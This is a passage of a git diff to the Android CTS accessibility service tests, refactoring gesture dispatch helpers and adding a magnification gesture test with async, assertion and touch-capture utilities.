-        GestureDescription gesture = new GestureDescription.Builder().addStroke(stroke2).build();
-        mCallback.reset();
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture, mCallback, null));
-        mCallback.assertGestureCancels(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        StrokeDescription stroke2 =
+                stroke1.continueStroke(lineWithinView(midPoint, endPoint), 0, gestureTime, false);
+        awaitCancellation(
+                dispatchGesture(mService,
+                        new GestureDescription.Builder().addStroke(stroke2).build()),
+                gestureTime + GESTURE_COMPLETION_TIMEOUT, MILLISECONDS);
     }
 
     public static class GestureDispatchActivity extends AccessibilityTestActivity {
@@ -507,52 +499,6 @@
         }
     }
 
-    public static class MyGestureCallback extends AccessibilityService.GestureResultCallback {
-        private boolean mCompleted;
-        private boolean mCancelled;
-
-        @Override
-        public synchronized void onCompleted(GestureDescription gestureDescription) {
-            mCompleted = true;
-            notifyAll();
-        }
-
-        @Override
-        public synchronized void onCancelled(GestureDescription gestureDescription) {
-            mCancelled = true;
-            notifyAll();
-        }
-
-        public synchronized void assertGestureCompletes(long timeout) {
-            if (mCompleted) {
-                return;
-            }
-            try {
-                wait(timeout);
-            } catch (InterruptedException e) {
-                throw new RuntimeException(e);
-            }
-            assertTrue("Gesture did not complete. Canceled = " + mCancelled, mCompleted);
-        }
-
-        public synchronized void assertGestureCancels(long timeout) {
-            if (mCancelled) {
-                return;
-            }
-            try {
-                wait(timeout);
-            } catch (InterruptedException e) {
-                throw new RuntimeException(e);
-            }
-            assertTrue("Gesture did not cancel. Completed = " + mCompleted, mCancelled);
-        }
-
-        public synchronized void reset() {
-            mCancelled = false;
-            mCompleted = false;
-        }
-    }
-
     private void waitForMotionEvents(Matcher<MotionEvent> matcher, int numEventsExpected)
             throws InterruptedException {
         synchronized (mMotionEvents) {
@@ -597,53 +543,38 @@
         }
     }
 
-    private GestureDescription createClickInViewBounds(Point clickPoint) {
-        Point offsetClick = new Point(clickPoint);
-        offsetClick.offset(mViewLocation[0], mViewLocation[1]);
-        return createClick(offsetClick);
-    }
-
-    private GestureDescription createClick(Point clickPoint) {
-        return createClick(new PointF(clickPoint.x, clickPoint.y));
-    }
-
-    private GestureDescription createClick(PointF clickPoint) {
-        Path clickPath = new Path();
-        clickPath.moveTo(clickPoint.x, clickPoint.y);
-        StrokeDescription clickStroke =
-                new StrokeDescription(clickPath, 0, ViewConfiguration.getTapTimeout());
-        GestureDescription.Builder clickBuilder = new GestureDescription.Builder();
-        clickBuilder.addStroke(clickStroke);
-        return clickBuilder.build();
-    }
-
-    private GestureDescription createLongClickInViewBounds(Point clickPoint) {
-        Point offsetPoint = new Point(clickPoint);
-        offsetPoint.offset(mViewLocation[0], mViewLocation[1]);
-        Path clickPath = new Path();
-        clickPath.moveTo(offsetPoint.x, offsetPoint.y);
-        int longPressTime = ViewConfiguration.getLongPressTimeout();
-
-        StrokeDescription longClickStroke =
-                new StrokeDescription(clickPath, 0, longPressTime + (longPressTime / 2));
-        GestureDescription.Builder longClickBuilder = new GestureDescription.Builder();
-        longClickBuilder.addStroke(longClickStroke);
-        return longClickBuilder.build();
-    }
-
-    private GestureDescription createSwipeInViewBounds(Point start, Point end, long duration) {
-        return new GestureDescription.Builder().addStroke(
-                new StrokeDescription(linePathInViewBounds(start, end), 0, duration, false))
+    private GestureDescription clickWithinView(PointF clickPoint) {
+        return new GestureDescription.Builder()
+                .addStroke(click(withinView(clickPoint)))
                 .build();
     }
 
-    private GestureDescription createPinchInViewBounds(Point centerPoint, int startSpacing,
+    private GestureDescription longClickWithinView(PointF clickPoint) {
+        return new GestureDescription.Builder()
+                .addStroke(longClick(withinView(clickPoint)))
+                .build();
+    }
+
+    private PointF withinView(PointF clickPoint) {
+        return add(clickPoint, mViewLocation[0], mViewLocation[1]);
+    }
+
+    private GestureDescription swipeWithinView(PointF start, PointF end, long duration) {
+        return new GestureDescription.Builder()
+                .addStroke(new StrokeDescription(lineWithinView(start, end), 0, duration))
+                .build();
+    }
+
+    private Path lineWithinView(PointF startPoint, PointF endPoint) {
+        return path(withinView(startPoint), withinView(endPoint));
+    }
+
+    private GestureDescription pinchWithinView(PointF centerPoint, int startSpacing,
             int endSpacing, float orientation, long duration) {
         if ((startSpacing < 0) || (endSpacing < 0)) {
             throw new IllegalArgumentException("Pinch spacing cannot be negative");
         }
-        Point offsetCenter = new Point(centerPoint);
-        offsetCenter.offset(mViewLocation[0], mViewLocation[1]);
+        PointF offsetCenter = withinView(centerPoint);
         float[] startPoint1 = new float[2];
         float[] endPoint1 = new float[2];
         float[] startPoint2 = new float[2];
@@ -675,19 +606,10 @@
         path2.moveTo(startPoint2[0], startPoint2[1]);
         path2.lineTo(endPoint2[0], endPoint2[1]);
 
-        StrokeDescription path1Stroke = new StrokeDescription(path1, 0, duration);
-        StrokeDescription path2Stroke = new StrokeDescription(path2, 0, duration);
-        GestureDescription.Builder swipeBuilder = new GestureDescription.Builder();
-        swipeBuilder.addStroke(path1Stroke);
-        swipeBuilder.addStroke(path2Stroke);
-        return swipeBuilder.build();
-    }
-
-    Path linePathInViewBounds(Point startPoint, Point endPoint) {
-        Path path = new Path();
-        path.moveTo(startPoint.x + mViewLocation[0], startPoint.y + mViewLocation[1]);
-        path.lineTo(endPoint.x + mViewLocation[0], endPoint.y + mViewLocation[1]);
-        return path;
+        return new GestureDescription.Builder()
+                .addStroke(new StrokeDescription(path1, 0, duration))
+                .addStroke(new StrokeDescription(path2, 0, duration))
+                .build();
     }
 
     private static class MotionEventActionMatcher extends TypeSafeMatcher<MotionEvent> {
@@ -705,13 +627,13 @@
 
         @Override
         public void describeTo(Description description) {
-            description.appendText("Matching to action " + mAction);
+            description.appendText("Matching to action " + MotionEvent.actionToString(mAction));
         }
     }
 
 
-    Matcher<MotionEvent> isAtPoint(final Point point) {
-        return isAtPoint(new PointF(point.x, point.y), 0.01f);
+    Matcher<MotionEvent> isAtPoint(final PointF point) {
+        return isAtPoint(point, 0.01f);
     }
 
     Matcher<MotionEvent> isAtPoint(final PointF point, final float tol) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
index 49c209f..1674309 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
@@ -17,6 +17,7 @@
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.AccessibilityService.SoftKeyboardController;
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.os.Bundle;
 import android.os.Handler;
@@ -36,6 +37,7 @@
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Test cases for testing the accessibility APIs for interacting with the soft keyboard show mode.
@@ -70,6 +72,8 @@
     private InstrumentedAccessibilityService mService;
     private SoftKeyboardController mKeyboardController;
     private UiAutomation mUiAutomation;
+    private Activity mActivity;
+    private View mKeyboardTargetView;
 
     private Object mLock = new Object();
 
@@ -83,7 +87,7 @@
 
         // If we don't call getActivity(), we get an empty list when requesting the number of
         // windows on screen.
-        getActivity();
+        mActivity = getActivity();
 
         mService = InstrumentedAccessibilityService.enableService(
                 getInstrumentation(), InstrumentedAccessibilityService.class);
@@ -93,6 +97,8 @@
         AccessibilityServiceInfo info = mUiAutomation.getServiceInfo();
         info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
         mUiAutomation.setServiceInfo(info);
+        getInstrumentation().runOnMainSync(
+                () -> mKeyboardTargetView = mActivity.findViewById(R.id.edit_text));
     }
 
     @Override
@@ -100,8 +106,11 @@
         mKeyboardController.setShowMode(SHOW_MODE_AUTO);
         mService.runOnServiceSync(() -> mService.disableSelf());
         Activity activity = getActivity();
-        activity.getSystemService(InputMethodManager.class)
-                .hideSoftInputFromWindow(activity.getCurrentFocus().getWindowToken(), 0);
+        View currentFocus = activity.getCurrentFocus();
+        if (currentFocus != null) {
+            activity.getSystemService(InputMethodManager.class)
+                    .hideSoftInputFromWindow(currentFocus.getWindowToken(), 0);
+        }
     }
 
     public void testApiReturnValues_shouldChangeValueOnRequestAndSendCallback() throws Exception {
@@ -228,20 +237,24 @@
      */
     private boolean tryShowSoftInput() throws Exception {
         final BlockingQueue<Integer> queue = new ArrayBlockingQueue<>(1);
+        final AtomicBoolean showSoftInputResult = new AtomicBoolean(false);
+        final Activity activity = getActivity();
+        final ResultReceiver resultReceiver =
+                new ResultReceiver(new Handler(activity.getMainLooper())) {
+                    @Override
+                    protected void onReceiveResult(int resultCode, Bundle resultData) {
+                        queue.add(resultCode);
+                    }
+                };
 
-        getInstrumentation().runOnMainSync(() -> {
-            Activity activity = getActivity();
-            ResultReceiver resultReceiver =
-                    new ResultReceiver(new Handler(activity.getMainLooper())) {
-                            @Override
-                            protected void onReceiveResult(int resultCode, Bundle resultData) {
-                                queue.add(resultCode);
-                            }
-                    };
-            View editText = activity.findViewById(R.id.edit_text);
-            activity.getSystemService(InputMethodManager.class)
-                    .showSoftInput(editText, InputMethodManager.SHOW_FORCED, resultReceiver);
-        });
+        final Instrumentation instrumentation = getInstrumentation();
+        instrumentation.runOnMainSync(() -> mKeyboardTargetView.requestFocus());
+        instrumentation.waitForIdleSync();
+        final InputMethodManager imm = mActivity.getSystemService(InputMethodManager.class);
+        instrumentation.runOnMainSync(() -> showSoftInputResult.set(imm.showSoftInput(
+                mKeyboardTargetView, InputMethodManager.SHOW_FORCED, resultReceiver)));
+
+        assertTrue("InputMethodManager refused to show a soft input", showSoftInputResult.get());
 
         Integer result;
         try {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index b67fc28..8b1154e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -63,16 +63,22 @@
         if (mSingleVolume) {
             return;
         }
-        int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
-        int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
-        InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
-                mInstrumentation, InstrumentedAccessibilityService.class);
-
-        service.runOnServiceSync(() ->
-                mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume, 0));
-        assertEquals("Accessibility service should be able to change accessibility volume",
-                otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
-        service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
-                AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
+        final int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
+        final int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
+        final InstrumentedAccessibilityService service = InstrumentedAccessibilityService
+                .enableService(mInstrumentation, InstrumentedAccessibilityService.class);
+        try {
+            service.runOnServiceSync(() ->
+                    mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume,
+                            0));
+            assertEquals("Accessibility service should be able to change accessibility volume",
+                    otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
+            service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
+                    AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
+        } finally {
+            if (service != null) {
+                service.runOnServiceSync(() -> service.disableSelf());
+            }
+        }
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
index 2b6d2dd..d6dc7fa 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
@@ -22,11 +22,15 @@
 import static junit.framework.Assert.assertTrue;
 
 public class InstrumentedAccessibilityService extends AccessibilityService {
+
+    private static final boolean DEBUG = false;
+
     // Match com.android.server.accessibility.AccessibilityManagerService#COMPONENT_NAME_SEPARATOR
     private static final String COMPONENT_NAME_SEPARATOR = ":";
 
-    private static final int TIMEOUT_SERVICE_ENABLE = 10000;
-    private static final int TIMEOUT_SERVICE_PERFORM_SYNC = 5000;
+    // Timeout disabled in #DEBUG mode to prevent breakpoint-related failures
+    private static final int TIMEOUT_SERVICE_ENABLE = DEBUG ? Integer.MAX_VALUE : 10000;
+    private static final int TIMEOUT_SERVICE_PERFORM_SYNC = DEBUG ? Integer.MAX_VALUE : 5000;
 
     private static final HashMap<Class, WeakReference<InstrumentedAccessibilityService>>
             sInstances = new HashMap<>();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
new file mode 100644
index 0000000..7269b81
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.AsyncUtils.waitOn;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.distance;
+import static android.accessibilityservice.cts.utils.GestureUtils.drag;
+import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
+import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
+import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
+import static android.view.MotionEvent.ACTION_DOWN;
+import static android.view.MotionEvent.ACTION_MOVE;
+import static android.view.MotionEvent.ACTION_UP;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.Matchers.empty;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
+import android.accessibilityservice.cts.utils.EventCapturingTouchListener;
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.graphics.PointF;
+import android.os.SystemClock;
+import android.provider.Settings;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.InstrumentationRegistry;
+import android.view.MotionEvent;
+import android.widget.TextView;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+
+/**
+ * Class for testing magnification.
+ */
+@RunWith(AndroidJUnit4.class)
+public class MagnificationGestureHandlerTest {
+
+    private static final double MIN_SCALE = 1.2;
+
+    private InstrumentedAccessibilityService mService;
+    private Instrumentation mInstrumentation;
+    private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener();
+    float mCurrentScale = 1f;
+    PointF mCurrentZoomCenter = null;
+    PointF mTapLocation;
+    PointF mTapLocation2;
+    private boolean mHasTouchscreen;
+    private boolean mOriginalIsMagnificationEnabled;
+
+    private final Object mZoomLock = new Object();
+
+    @Rule
+    public ActivityTestRule<GestureDispatchActivity> mActivityRule =
+            new ActivityTestRule<>(GestureDispatchActivity.class);
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+
+        PackageManager pm = mInstrumentation.getContext().getPackageManager();
+        mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+                || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+        if (!mHasTouchscreen) return;
+
+        mOriginalIsMagnificationEnabled =
+                Settings.Secure.getInt(mInstrumentation.getContext().getContentResolver(),
+                        Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, 0) == 1;
+        setMagnificationEnabled(true);
+
+        mService = StubMagnificationAccessibilityService.enableSelf(mInstrumentation);
+        mService.getMagnificationController().addListener(
+                (controller, region, scale, centerX, centerY) -> {
+                    mCurrentScale = scale;
+                    mCurrentZoomCenter = isZoomed() ? new PointF(centerX, centerY) : null;
+
+                    synchronized (mZoomLock) {
+                        mZoomLock.notifyAll();
+                    }
+                });
+
+        TextView view = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+        mInstrumentation.runOnMainSync(() -> {
+            view.setOnTouchListener(mTouchListener);
+            int[] xy = new int[2];
+            view.getLocationOnScreen(xy);
+            mTapLocation = new PointF(xy[0] + 251, xy[1] + 249);
+            mTapLocation2 = add(mTapLocation, 31, 29);
+        });
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (!mHasTouchscreen) return;
+
+        setMagnificationEnabled(mOriginalIsMagnificationEnabled);
+
+        if (mService != null) {
+            mService.runOnServiceSync(() -> mService.disableSelfAndRemove());
+            mService = null;
+        }
+    }
+
+    @Test
+    public void testZoomOnOff() {
+        if (!mHasTouchscreen) return;
+
+        assertFalse(isZoomed());
+
+        assertGesturesPropagateToView();
+        assertFalse(isZoomed());
+
+        setZoomByTripleTapping(true);
+
+        assertGesturesPropagateToView();
+        assertTrue(isZoomed());
+
+        setZoomByTripleTapping(false);
+    }
+
+    @Test
+    public void testViewportDragging() {
+        if (!mHasTouchscreen) return;
+
+        assertFalse(isZoomed());
+        tripleTapAndDragViewport();
+        waitOn(mZoomLock, () -> !isZoomed());
+
+        setZoomByTripleTapping(true);
+        tripleTapAndDragViewport();
+        assertTrue(isZoomed());
+
+        setZoomByTripleTapping(false);
+    }
+
+    @Test
+    public void testPanning() {
+        if (!mHasTouchscreen) return;
+        assertFalse(isZoomed());
+
+        float pan = Math.min(mTapLocation.x, mTapLocation2.x) / 2;
+
+        setZoomByTripleTapping(true);
+        PointF oldCenter = mCurrentZoomCenter;
+
+        dispatch(
+                swipe(mTapLocation, add(mTapLocation, -pan, 0)),
+                swipe(mTapLocation2, add(mTapLocation2, -pan, 0)));
+
+        waitOn(mZoomLock,
+                () -> (mCurrentZoomCenter.x - oldCenter.x >= pan / mCurrentScale * 0.9));
+
+        setZoomByTripleTapping(false);
+    }
+
+    private void setZoomByTripleTapping(boolean desiredZoomState) {
+        if (isZoomed() == desiredZoomState) return;
+        dispatch(tripleTap());
+        waitOn(mZoomLock, () -> isZoomed() == desiredZoomState);
+        assertNoTouchInputPropagated();
+    }
+
+    private void tripleTapAndDragViewport() {
+        StrokeDescription down = tripleTapAndHold();
+
+        float pan = mTapLocation.x / 2;
+        PointF oldCenter = mCurrentZoomCenter;
+
+        StrokeDescription drag = drag(down, add(lastPointOf(down), pan, 0f));
+        dispatch(drag);
+        waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= pan / 5);
+        assertTrue(isZoomed());
+        assertNoTouchInputPropagated();
+
+        dispatch(pointerUp(drag));
+        assertNoTouchInputPropagated();
+    }
+
+    private StrokeDescription tripleTapAndHold() {
+        StrokeDescription tap1 = click(mTapLocation);
+        StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, click(mTapLocation2));
+        StrokeDescription down = startingAt(endTimeOf(tap2) + 20, pointerDown(mTapLocation));
+        dispatch(tap1, tap2, down);
+        waitOn(mZoomLock, () -> isZoomed());
+        return down;
+    }
+
+    private void assertGesturesPropagateToView() {
+        dispatch(click(mTapLocation));
+        assertPropagated(ACTION_DOWN, ACTION_UP);
+
+        dispatch(longClick(mTapLocation));
+        assertPropagated(ACTION_DOWN, ACTION_UP);
+
+        dispatch(doubleTap());
+        assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
+
+        dispatch(swipe(
+                mTapLocation,
+                add(mTapLocation, 31, 29)));
+        assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
+    }
+
+    private void assertNoTouchInputPropagated() {
+        assertThat(prettyPrintable(mTouchListener.events), is(empty()));
+    }
+
+    private void setMagnificationEnabled(boolean enabled) {
+        Settings.Secure.putInt(mInstrumentation.getContext().getContentResolver(),
+                Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, enabled ? 1 : 0);
+    }
+
+    private boolean isZoomed() {
+        return mCurrentScale >= MIN_SCALE;
+    }
+
+    private void assertPropagated(int... eventTypes) {
+        MotionEvent ev;
+        try {
+            while (true) {
+                if (eventTypes.length == 0) return;
+                int expectedEventType = eventTypes[0];
+                long startedPollingAt = SystemClock.uptimeMillis();
+                ev = mTouchListener.events.poll(5, SECONDS);
+                assertNotNull("Expected "
+                        + MotionEvent.actionToString(expectedEventType)
+                        + " but none present after "
+                        + (SystemClock.uptimeMillis() - startedPollingAt) + "ms",
+                        ev);
+                int action = ev.getActionMasked();
+                if (action == expectedEventType) {
+                    eventTypes = Arrays.copyOfRange(eventTypes, 1, eventTypes.length);
+                } else {
+                    if (action != ACTION_MOVE) fail("Unexpected event: " + ev);
+                }
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private GestureDescription doubleTap() {
+        return multiTap(2);
+    }
+
+    private GestureDescription tripleTap() {
+        return multiTap(3);
+    }
+
+    private GestureDescription multiTap(int taps) {
+        GestureDescription.Builder builder = new GestureDescription.Builder();
+        long time = 0;
+        for (int i = 0; i < taps; i++) {
+            StrokeDescription stroke = click(mTapLocation);
+            builder.addStroke(startingAt(time, stroke));
+            time += stroke.getDuration() + 20;
+        }
+        return builder.build();
+    }
+
+    public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
+        GestureDescription.Builder builder =
+                new GestureDescription.Builder().addStroke(firstStroke);
+        for (StrokeDescription stroke : rest) {
+            builder.addStroke(stroke);
+        }
+        dispatch(builder.build());
+    }
+
+    public void dispatch(GestureDescription gesture) {
+        await(dispatchGesture(mService, gesture));
+    }
+
+    private static <T> Collection<T> prettyPrintable(Collection<T> c) {
+        return new ArrayList<T>(c) {
+
+            @Override
+            public String toString() {
+                return stream()
+                        .map(t -> "\n" + t)
+                        .reduce(String::concat)
+                        .orElse("");
+            }
+        };
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AsyncUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AsyncUtils.java
new file mode 100644
index 0000000..12bb737
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AsyncUtils.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import static android.accessibilityservice.cts.utils.CtsTestUtils.assertThrows;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.os.SystemClock;
+
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+
+public class AsyncUtils {
+    public static final long DEFAULT_TIMEOUT_MS = 5000;
+
+    private AsyncUtils() {}
+
+    public static <T> T await(Future<T> f) {
+        return await(f, DEFAULT_TIMEOUT_MS, MILLISECONDS);
+    }
+
+    public static <T> T await(Future<T> f, long time, TimeUnit timeUnit) {
+        try {
+            return f.get(time, timeUnit);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static Throwable awaitFailure(Future<?> f) {
+        return awaitFailure(f, DEFAULT_TIMEOUT_MS, MILLISECONDS);
+    }
+
+    public static Throwable awaitFailure(Future<?> f, long time, TimeUnit timeUnit) {
+        return assertThrows(() -> await(f, time, timeUnit));
+    }
+
+    public static <T> CancellationException awaitCancellation(Future<T> f) {
+       return awaitCancellation(f, DEFAULT_TIMEOUT_MS, MILLISECONDS);
+    }
+
+    public static <T> CancellationException awaitCancellation(
+            Future<T> f, long time, TimeUnit timeUnit) {
+        Throwable ex = awaitFailure(f, time, timeUnit);
+        Throwable current = ex;
+        while (current != null) {
+            if (current instanceof CancellationException) {
+                return (CancellationException) current;
+            }
+            current = current.getCause();
+        }
+        throw new AssertionError("Expected cancellation", ex);
+    }
+
+    public static void waitOn(Object notifyLock, BooleanSupplier condition) {
+        waitOn(notifyLock, condition, DEFAULT_TIMEOUT_MS);
+    }
+
+    public static void waitOn(Object notifyLock, BooleanSupplier condition, long timeoutMs) {
+        if (condition.getAsBoolean()) return;
+
+        synchronized (notifyLock) {
+            try {
+                long timeSlept = 0;
+                while (!condition.getAsBoolean() && timeSlept < timeoutMs) {
+                    long sleepStart = SystemClock.uptimeMillis();
+                    notifyLock.wait(timeoutMs - timeSlept);
+                    timeSlept += SystemClock.uptimeMillis() - sleepStart;
+                }
+                if (!condition.getAsBoolean()) {
+                    throw new AssertionError("Timed out after " + timeSlept
+                            + "ms waiting for condition");
+                }
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/CtsTestUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/CtsTestUtils.java
new file mode 100644
index 0000000..545483b
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/CtsTestUtils.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+
+public class CtsTestUtils {
+    private CtsTestUtils() {}
+
+    public static Throwable assertThrows(Runnable action) {
+        return assertThrows(Throwable.class, action);
+    }
+
+    public static <E extends Throwable> E assertThrows(Class<E> exceptionClass, Runnable action) {
+        try {
+            action.run();
+            throw new AssertionError("Expected an exception");
+        } catch (Throwable e) {
+            if (exceptionClass.isInstance(e)) {
+                return (E) e;
+            }
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
new file mode 100644
index 0000000..d7ae4592
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+
+import static org.junit.Assert.assertTrue;
+
+import android.view.MotionEvent;
+import android.view.View;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+public class EventCapturingTouchListener implements View.OnTouchListener {
+
+    public final BlockingQueue<MotionEvent> events = new LinkedBlockingQueue<>();
+
+    @Override
+    public boolean onTouch(View view, MotionEvent motionEvent) {
+        assertTrue(events.offer(MotionEvent.obtain(motionEvent)));
+        return true;
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
new file mode 100644
index 0000000..076a6da
--- /dev/null
